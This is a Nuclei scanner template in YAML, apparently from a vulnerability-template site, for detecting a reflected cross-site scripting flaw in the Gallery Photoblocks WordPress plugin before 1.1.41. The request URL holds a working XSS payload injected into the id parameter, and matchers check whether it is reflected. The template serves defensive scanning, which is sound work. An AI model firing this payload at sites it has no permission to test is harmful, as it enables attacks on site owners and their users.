Gallery Photoblocks < 1.1.41 - Cross-Site Scripting

ID: photoblocks-grid-gallery-xss

Severity: medium

Author: r3Y3r53

Tags: wordpress,wpscan,photoblocks,wp-plugin,wp,xss

Description

Reflected Cross-Site Scripting (XSS) is a type of web vulnerability where an attacker injects malicious scripts into a website, and the injected code gets reflected back to the user’s browser, executing the script in the context of the vulnerable website.

YAML Source

id: photoblocks-grid-gallery-xss

info:
  name: Gallery Photoblocks < 1.1.41 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) is a type of web vulnerability where an attacker injects malicious scripts into a website, and the injected code gets reflected back to the user's browser, executing the script in the context of the vulnerable website.
  remediation: Fixed in version 1.1.41
  reference:
    - https://plugins.trac.wordpress.org/changeset/2117972
    - https://wpscan.com/vulnerability/5c57e78a-97b9-4e23-8935-e4c9d806c89d
    - https://wordpress.org/plugins/photoblocks-grid-gallery/
  classification:
    cpe: cpe:2.3:a:wpchill:gallery_photoblocks:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wpchill
    product: gallery_photoblocks
    publicwww-query: "/wp-content/plugins/photoblocks-grid-gallery/"
  tags: wordpress,wpscan,photoblocks,wp-plugin,wp,xss

http:
  - raw:
      - |
        GET /wp-content/plugins/photoblocks-grid-gallery/admin/partials/photoblocks-edit.php?id=%22%3E%3Csvg/onload=alert(document.domain)%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<svg/onload=alert(document.domain)>")'
          - 'contains(body, "PhotoBlocks")'
        condition: and
# digest: 4a0a00473045022100d201edc6dd6dd9def3db706ccc28aa358e8e615959124fe2086057d11a5dfdf402202157682b9486c8982dd2ea0bf3286572384d04319039c34f1ebf01eff54b1f01:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/photoblocks-grid-gallery-xss.yaml"

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